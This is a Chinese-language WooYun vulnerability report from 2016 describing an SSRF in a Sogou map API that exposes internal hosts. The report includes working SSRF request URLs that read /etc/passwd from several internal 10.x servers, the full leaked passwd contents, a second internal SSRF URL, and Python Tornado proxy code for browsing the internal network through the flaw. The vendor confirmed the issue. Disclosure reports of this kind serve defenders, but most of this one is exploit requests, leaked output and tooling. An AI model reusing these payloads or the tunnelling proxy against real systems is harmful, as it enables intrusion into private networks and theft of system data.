当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170411

漏洞标题:搜狗内网几处任意文件读取

相关厂商:搜狗

漏洞作者: Forever80s

提交时间:2016-01-16 18:15

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-16: 细节已通知厂商并且等待厂商处理中
2016-01-18: 厂商已经确认,细节仅向厂商公开
2016-01-28: 细节向核心白帽子及相关领域专家公开
2016-02-07: 细节向普通白帽子公开
2016-02-17: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

rt

详细说明:

一个ssrf 扫出来很多内网漏洞,比如任意文件读取,今天翻出来这些东西

dev.png


svn.png


phpmyadmin.png

唯一用户名称服务接口.png


hadoop_1.png


C:\Python27\python.exe D:/pyprojects/ssrf_proxy/resindocview.py
HTTPConnectionPool(host='map.sogou.com', port=80): Read timed out. (read timeout=3)
HTTPConnectionPool(host='map.sogou.com', port=80): Read timed out. (read timeout=3)
HTTPConnectionPool(host='map.sogou.com', port=80): Read timed out. (read timeout=3)
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
****************************************************************************************************
http://map.sogou.com/poi/request?url=http://10.13.199.124:8080/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd%23?http://api.dianping.com/v1/review/get_recent_reviews&appkey=725920071&business_id=888114&format=json&sign=1a4448d6983647dfa3c2459941675b9169c9222f&cb=sgs._ihrh2sje0
sgs._ihrh2sje0&&sgs._ihrh2sje0({"response":<pre>
inputFile: /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:156:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
odin:x:500:500::/home/odin:/bin/bash
nagios:x:101:501:nagios:/var/log/nagios:/bin/sh
netmonitor:x:501:502::/home/netmonitor:/bin/bash
</pre>
<a href='index.jsp'>back to demo</a>
})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
****************************************************************************************************
http://map.sogou.com/poi/request?url=http://10.13.207.45:8080/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd%23?http://api.dianping.com/v1/review/get_recent_reviews&appkey=725920071&business_id=888114&format=json&sign=1a4448d6983647dfa3c2459941675b9169c9222f&cb=sgs._ihrh2sje0
sgs._ihrh2sje0&&sgs._ihrh2sje0({"response":<pre>
inputFile: /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:156:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
odin:x:500:500::/home/odin:/bin/bash
nagios:x:101:501:nagios:/var/log/nagios:/bin/sh
netmonitor:x:501:502::/home/netmonitor:/bin/bash
puppet:x:52:52:Puppet:/var/lib/puppet:/sbin/nologin
zookeeper:x:102:159:ZooKeeper:/usr/share/zookeeper:/bin/bash
yarn:x:103:160:Hadoop Yarn:/var/lib/hadoop-yarn:/bin/bash
mapred:x:104:161:Hadoop MapReduce:/var/lib/hadoop-mapreduce:/bin/bash
hdfs:x:105:162:Hadoop HDFS:/var/lib/hadoop-hdfs:/bin/bash
hbase:x:106:106:HBase:/usr/lib/hbase:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
</pre>
<a href='index.jsp'>back to demo</a>
})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
sgs._ihrh2sje0&&sgs._ihrh2sje0({"error":1})
****************************************************************************************************
http://map.sogou.com/poi/request?url=http://10.13.210.135:8080/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd%23?http://api.dianping.com/v1/review/get_recent_reviews&appkey=725920071&business_id=888114&format=json&sign=1a4448d6983647dfa3c2459941675b9169c9222f&cb=sgs._ihrh2sje0
sgs._ihrh2sje0&&sgs._ihrh2sje0({"response":<pre>
inputFile: /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:156:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
nagios:x:101:501:nagios:/var/log/nagios:/bin/sh
puppet:x:52:52:Puppet:/var/lib/puppet:/sbin/nologin
for_monitor:x:502:503::/home/for_monitor:/bin/bash
gdm:x:42:42::/var/gdm:/sbin/nologin
samba:x:503:504::/home/samba:/bin/bash
</pre>
<a href='index.jsp'>back to demo</a>
})
****************************************************************************************************
内网还有 ssrf
http://map.sogou.com/poi/request?url=http://10.12.138.223/index.php?url=http://www.baidu.com/%23?http://api.dianping.com/v1/review/get_recent_reviews&appkey=725920071&business_id=888114&format=json&sign=1a4448d6983647dfa3c2459941675b9169c9222f&cb=sgs._ihrh2sje0#/~cores

漏洞证明:

写个代理可以通过ssrf完美浏览内网

jstorm1.png


def handle_response(response):
if (response.error and not
isinstance(response.error, tornado.httpclient.HTTPError)):
self.set_status(500)
self.write('Internal server error:\n' + str(response.error))
else:
self.set_status(response.code, response.reason)
self._headers = tornado.httputil.HTTPHeaders() # clear tornado default header

for header, v in response.headers.get_all():
if header not in ('Content-Length', 'Transfer-Encoding', 'Content-Encoding', 'Connection'):
self.add_header(header, v) # some header appear multiple times, eg 'Set-Cookie'

if response.body:
mybody=response.body
if "sgs._ihrh2s" in response.body:
mybody=response.body.replace('sgs._ihrh2sje0&&sgs._ihrh2sje0({"response":',"")
index=mybody.find("<html")
if not index==-1:
mybody=mybody[index:]
mybody=mybody.replace("http://map.sogou.com","")
mybody=mybody[0:-2]
#remove jump
mybody=mybody.replace("window.location.href","window.title")
if "<html" in mybody:
print mybody
try:
a=mybody
if "charset=GBk".lower() in mybody.lower():
a=a.decode('unicode_escape').encode('gbk')
else:
a=a.decode('unicode_escape').encode('utf8')
mybody=a
except:
pass
self.set_header('Content-Length', len(mybody))
self.write(mybody)
print len(mybody)
#print 11
self.finish()
body = self.request.body
'''
print self.request.uri
print self.request.method
print self.request.headers
print body
'''

if not body:
body = None
try:
if 'Proxy-Connection' in self.request.headers:
del self.request.headers['Proxy-Connection']

#fix link
u=self.request.uri
global lastdomain
print u
if "http://map.sogou.com/" in u:
if "url=" not in u :
t=lastdomain.split("/")
t=t[0:-1]
t.append("")
relpath="/".join(t)
rootpath="http://"+t[2]+"/"
#relative path
if "http://map.sogou.com/poi" in u:
u=u.replace("http://map.sogou.com/poi/",relpath)
else:
u=u.replace("http://map.sogou.com/",rootpath)
print "#####"*10
u="http://map.sogou.com/poi/request?url="+\
u+"?http://api.dianping.com/v1/review/get_recent_reviews&appkey=725920071&business_id=888114&format=json&sign=1a4448d6983647dfa3c2459941675b9169c9222f&cb=sgs._ihrh2sje0"
self.request.uri=u
print "url="+u
else:
#update lastdomain
if "http://map.sogou.com/poi/request?url=" in u:
t=u.replace("http://map.sogou.com/poi/request?url=","")
lastdomain=t.split("?")[0]
print "last doamin "+lastdomain
else:
u="http://map.sogou.com/poi/request?url="+\
u+"?http://api.dianping.com/v1/review/get_recent_reviews&appkey=725920071&business_id=888114&format=json&sign=1a4448d6983647dfa3c2459941675b9169c9222f&cb=sgs._ihrh2sje0"
self.request.uri=u
if "http://10" not in self.request.uri:
u=self.request.uri
u="http://map.sogou.com/poi/request?url="+\
u+"?http://api.dianping.com/v1/review/get_recent_reviews&appkey=725920071&business_id=888114&format=json&sign=1a4448d6983647dfa3c2459941675b9169c9222f&cb=sgs._ihrh2sje0"
self.request.uri=u
fetch_request(
self.request.uri, handle_response,
method=self.request.method, body=body,
headers=self.request.headers, follow_redirects=False,
allow_nonstandard_methods=True)
request_dict={}
request_dict['uri']=self.request.uri
request_dict['method']=self.request.method
request_dict['headers']=self.request.headers
request_dict['body']=body
#self.queue.put(request_dict)
#self.isqlmap.extract_request(self.request.uri,self.request.method,self.request.headers,body)
#print request_dict

except tornado.httpclient.HTTPError as e:
if hasattr(e, 'response') and e.response:
handle_response(e.response)
else:
self.set_status(500)
self.write('Internal server error:\n' + str(e))
self.finish()

修复方案:

rt

版权声明:转载请注明来源 Forever80s@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-01-18 11:26

厂商回复:

感谢支持

最新状态:

暂无